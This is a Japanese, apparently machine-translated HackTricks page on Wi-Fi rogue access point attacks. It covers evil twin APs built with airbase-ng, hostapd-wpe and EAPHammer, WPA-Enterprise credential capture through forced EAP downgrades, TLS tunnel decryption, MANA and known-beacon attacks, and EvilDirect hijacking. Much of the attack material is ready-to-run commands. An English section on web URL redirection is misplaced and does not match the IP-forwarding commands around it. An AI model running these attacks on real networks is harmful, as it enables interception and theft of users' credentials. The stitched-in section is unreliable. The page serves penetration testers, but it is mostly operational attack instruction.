hostapdは、ペネトレーションテストやセキュリティオーディットの際に、ワイヤレスネットワークのセキュリティを評価するために使用されることがあります。ハッカーは、hostapdを使用して、ワイヤレスネットワークの脆弱性を特定し、潜在的な攻撃手法をテストすることができます。
hostapdの設定は、hostapd.conf
という設定ファイルを使用して行われます。このファイルには、ネットワークのSSID(サービスセット識別子)、パスワード、暗号化方式などの情報が含まれています。ハッカーは、この設定ファイルを適切に編集することで、ワイヤレスネットワークの動作やセキュリティをカスタマイズすることができます。
hostapdは、ワイヤレスネットワークのセキュリティを向上させるための重要なツールです。ハッカーは、hostapdを使用して、ワイヤレスネットワークの脆弱性を特定し、セキュリティを強化するための対策を講じることができます。
apt-get install hostapd
以下は、_hostapd.conf_という名前の設定ファイルです。
interface=wlan0
driver=nl80211
ssid=MyWiFiNetwork
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=MyPassword
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
この設定ファイルを使用して、ホストアクセスポイントを構成することができます。
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
厄介なプロセスを停止し、モニターモードを設定し、hostapdを起動します。
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
フォワーディングとリダイレクト
Forwarding and redirection are techniques used in web applications to redirect users from one URL to another. These techniques can be used for various purposes, such as load balancing, URL shortening, or implementing custom routing logic.
Forwarding
Forwarding is the process of redirecting a user's request from one URL to another URL on the server side. This can be achieved using server-side scripting languages like PHP, Python, or JavaScript. The server receives the user's request for a specific URL and then forwards it to a different URL.
There are two types of forwarding:
-
Client-side forwarding: In this type of forwarding, the server sends a response to the client with a new URL, and the client's browser automatically redirects to the new URL. This is done using the HTTP
Location
header. -
Server-side forwarding: In this type of forwarding, the server receives the user's request for a specific URL and internally forwards it to a different URL without the client's browser being aware of the redirection. This is done using server-side scripting languages.
Redirection
Redirection is the process of automatically redirecting a user's request from one URL to another URL. This can be achieved using HTTP status codes, such as 301 (Moved Permanently) or 302 (Found), along with the new URL.
There are two types of redirection:
-
Permanent redirection: This type of redirection is used when a URL has permanently moved to a new location. It is achieved using the HTTP status code 301 (Moved Permanently). The client's browser will update its bookmarks and cache to use the new URL.
-
Temporary redirection: This type of redirection is used when a URL has temporarily moved to a different location. It is achieved using the HTTP status code 302 (Found). The client's browser will continue to use the original URL for future requests.
Both forwarding and redirection are useful techniques in web applications for managing URL changes, implementing routing logic, or directing users to different pages based on certain conditions.
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
イービルツイン
イービルツイン攻撃は、ほとんどのコンピュータや携帯電話がワイヤレスネットワークの「名前」またはESSIDのみを見ることを利用するWi-Fi攻撃の一種です(基地局はクライアントに対して認証を行う必要がないため)。これにより、同じ名前と同じ種類の暗号化を使用するネットワークを区別するのは非常に困難になります。実際には、多くのネットワークは、ユーザーを混乱させることなくアクセスを拡張するために、同じ名前を使用する複数のネットワーク拡張アクセスポイントを持っています。
クライアントの実装方法によって(802.11プロトコルでは、同じESS内のアクセスポイント間を自由にローミングすることが許可されていることを覚えておいてください)、デバイスを接続している基地局を変更することが可能です。これは、より良い信号を提供すること(常に可能ではありません)または元の基地局へのアクセスをブロックすること(認証解除パケット、ジャミング、またはその他のDoS攻撃)によって行うことができます。
また、実際のワイヤレス展開では通常、単一のアクセスポイントよりも複数のアクセスポイントがあり、これらのアクセスポイントは天井に向けて配置されるため、より強力で視野範囲が広い場合があります。単一のアクセスポイントを認証解除すると、ターゲットは通常、ローグAPではなく別の有効なアクセスポイントにローミングします(近くのすべてのアクセスポイントが認証解除されている場合(大音量)またはローグAPの配置に非常に注意している場合を除く)、難しいです。
次のように、非常に基本的なオープンイービルツイン(インターネットへのトラフィックのルーティング機能なし)を作成することができます。
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
あなたはeaphammerを使用してEvil Twinを作成することもできます(eaphammerを使用してEvil Twinを作成するには、インターフェースはモニターモードではない必要があります)。
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
または、Airgeddonを使用する場合は、オプション:5,6,7,8,9(Evil Twin攻撃メニュー内)
です。
デフォルトでは、PNLのESSIDがWPAで保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法では、PSKを知らないため、被害者を自分に接続させることはできませんが、ハンドシェイクをキャプチャして解読を試みることができます)。
一部のOSとAVは、オープンなネットワークに接続することは危険であるとユーザーに警告する場合があります...
WPA/WPA2 Evil Twin
WPA/2を使用したEvil Twinを作成することができます。デバイスがWPA/2でそのSSIDに接続するように設定されている場合、接続を試みます。ただし、4ウェイハンドシェイクを完了するには、クライアントが使用するパスワードを知る必要があります。それを知らない場合、接続は完了しません。
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
エンタープライズのEvil Twin
この攻撃を理解するためには、まずWPA Enterpriseの説明を読むことをおすすめします。
hostapd-wpeを使用する
hostapd-wpe
は動作するために設定ファイルが必要です。これらの設定を自動化するために、https://github.com/WJDigby/apd_launchpadを使用することができます(_/etc/hostapd-wpe/
_内のPythonファイルをダウンロードしてください)。
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
設定ファイルでは、ssid、チャネル、ユーザーファイル、証明書/キー、dhパラメータ、wpaバージョン、認証など、さまざまな項目を選択できます...
EAP-TLSを使用したhostapd-wpeを使用して、任意の証明書でログインを許可する方法
EAPHammerの使用
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
デフォルトでは、EAPHammerは次の認証方法を提供します(平文パスワードを取得するために最初にGTCを使用し、その後より堅牢な認証方法を使用します):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
これは、長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強い方法まで、サーバーに認証方法を指定することもできます。
--negotiate weakest
または、次の方法も使用することができます:
--negotiate gtc-downgrade
は、高効率なGTCダウングレード実装(平文パスワード)を使用します。--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
は、手動で提供されるメソッドを指定します(攻撃対象の組織と同じ順序で同じ認証メソッドを提供することで、攻撃を検出することがより困難になります)。- 詳細については、wikiを参照してください
Airgeddonを使用する
Airgeddon
は、事前に生成された証明書を使用してWPA/WPA2-EnterpriseネットワークにEAP認証を提供することができます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、ユーザーとパスワードのMD5をキャプチャすることができます。後で、攻撃者はパスワードを解読しようとすることができます。
Airggedon
は、**連続的なEvil Twin攻撃(ノイズあり)または誰かが接続するまでEvil Twin攻撃を作成するだけ(スムーズ)**の可能性を提供します。
Evil Twins攻撃でのPEAPおよびEAP-TTLS TLSトンネルのデバッグ
この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです
hostapd-wpe_の設定の中で、dh_file_を含む行をコメントアウトします(dh_file=/etc/hostapd-wpe/certs/dh
から#dh_file=/etc/hostapd-wpe/certs/dh
まで)。
これにより、hostapd-wpe
がDHの代わりにRSAを使用して鍵を交換するようになり、後でトラフィックをサーバーの秘密鍵を知っている状態で復号化することができます。
今、通常どおりに変更された設定を使用してEvil Twinを開始します。また、Evil Twin攻撃を実行しているインターフェースで**wireshark
**も起動します。
今すぐまたは後で(すでにいくつかの認証意図をキャプチャした場合)、wiresharkの「編集→設定→プロトコル→TLS→(RSAキーリスト)編集...」でプライベートRSAキーを追加できます。
新しいエントリを追加し、次の値を入力します:IPアドレス = any -- ポート = 0 -- プロトコル = data -- キーファイル(キーファイルを選択します。問題が発生しないように、パスワードで保護されていないキーファイルを選択してください)。
そして、新しい**「復号化されたTLS」タブ**を見てください:
KARMA、MANA、Loud MANA、およびKnown beacons攻撃
ESSIDおよびMACのブラック/ホワイトリスト
次の表は、使用されるときの効果を含むさまざまなタイプのMFACL(管理フレームアクセス制御リスト)とその効果をリストアップしています:
# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Karma攻撃は、ステーションが使用するネットワーク選択プロセスを悪用するローグアクセスポイント攻撃の一種です。2005年にDino Dai ZoviとShane Macaulayが執筆したホワイトペーパーで、攻撃者がアクセスポイントを設定して、指向性プローブリクエストを受信し、それに一致する指向性プローブレスポンスで応答することができると説明しています。これにより、影響を受けるステーションは自動的に攻撃者のアクセスポイントに関連付けリクエストを送信します。アクセスポイントは関連付けレスポンスで応答し、影響を受けるステーションは攻撃者に接続されます。
MANA
Ian de VilliersとDominic Whiteによると、現代のステーションは、少なくとも1つのブロードキャストプローブリクエストに既に応答していないアクセスポイントからの指向性プローブレスポンスを無視することで、karma攻撃から自己保護するように設計されています。これにより、karma攻撃の脆弱性があるステーションの数は大幅に減少しました。しかし、2015年にWhiteとde Villiersは、そのような保護を回避する手段を開発しました。Whiteとde Villiersの改良されたkarma攻撃(MANA攻撃)では、指向性プローブレスポンスを使用して近くのステーションのPNL(Preferred Network List)を再構築します。ステーションからブロードキャストプローブリクエストが受信されると、攻撃者のアクセスポイントは、そのデバイスのPNLに既に存在する指向性プローブからの任意のSSIDで応答します。
要約すると、MANAアルゴリズムは次のように機能します。アクセスポイントがプローブリクエストを受信するたびに、まずブロードキャストまたは指向性プローブかどうかを判断します。指向性プローブの場合、送信元のMACアドレスがハッシュテーブルに追加されます(まだ存在しない場合)し、ESSIDがそのデバイスのPNLに追加されます。その後、アクセスポイントは指向性プローブレスポンスで応答します。ブロードキャストプローブの場合、アクセスポイントはそのデバイスのPNL内の各ネットワークに対してプローブレスポンスで応答します。
eaphammerを使用したMANA攻撃:
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
ラウドMANA
標準のMANA攻撃では、直接のプローブを使用しないデバイスを攻撃することはできません。したがって、デバイスのPNL内に事前にエントリがない場合、攻撃するための別の方法を見つける必要があります。
可能性としては、ラウドMANA攻撃があります。この攻撃は、物理的に近接しているクライアントデバイスは、少なくともいくつかの共通のエントリをPNLに持っている可能性があるという考えに基づいています。
要約すると、ラウドMANA攻撃では、ローグAPは特定のデバイスのPNL内の各ESSIDに応答する代わりに、以前に見たすべてのデバイスのすべてのPNLの各ESSIDに対してプローブ応答を送信します。集合論に関連して言えば、APは近くのデバイスのすべてのPNLの和集合内の各ESSIDに対してプローブ応答を送信すると言えます。
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
既知のビーコン攻撃
Loud MANA攻撃が成功しない場合もあります。
既知のビーコン攻撃は、被害者が攻撃者に接続するようにするために、ESSIDを「ブルートフォース」する方法です。攻撃者は、任意のESSIDに応答するAPを作成し、ワードリスト内の各名前のESSIDを偽装したビーコンを送信するコードを実行します。被害者のPNLにこれらのESSID名のいくつかが含まれていることを願って、被害者は偽のAPに接続しようとします。
Eaphammerは、この攻撃をMANA攻撃として実装しました。リスト内のすべてのESSIDが読み込まれます(--loud
と組み合わせてLoud MANA + 既知のビーコン攻撃を作成することもできます)。
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
既知のビーコンバースト攻撃
既知のビーコンは騒々しいです。Eaphammerプロジェクト内のスクリプトを使用して、ファイル内のすべてのESSID名のビーコンを非常に迅速に発信することができます。このスクリプトをEaphammer MANA攻撃と組み合わせると、クライアントはあなたのAPに接続することができます。
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct(Wi-Fiダイレクト)
Wi-Fi Directは、ワイヤレスAPなしでデバイス同士を接続するためのWi-Fi標準です。2つのデバイスのうちの1つがAP(グループオーナーと呼ばれる)として機能します。プリンターやテレビなど、多くのIoTデバイスでWi-Fi Directを利用することができます。
Wi-Fi Directは、デバイスを安全に接続するためにWi-Fi Protected Setup(WPS)を利用しています。WPSには、Push-Button Configuration(PBC)、PIN entry、Near-Field Communication(NFC)など、複数の設定方法があります。
したがって、WPS PINに対する以前に見られた攻撃は、ここでも有効です。
EvilDirectハイジャッキング
これはEvil-Twinのように機能しますが、Wi-Fi Direct用です。グループオーナーをなりすまして、他のデバイス(例:電話)が自分に接続するようにすることができます:airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0
参考文献
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
TODO: https://github.com/wifiphisher/wifiphisherを確認する(FacebookでのログインとキャプティブポータルでのWPAの模倣)

HackenProofをフォロー して、web3のバグについてもっと学びましょう
🐞 web3のバグチュートリアルを読む
🔔 新しいバグバウンティについて通知を受ける
💬 コミュニティディスカッションに参加する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。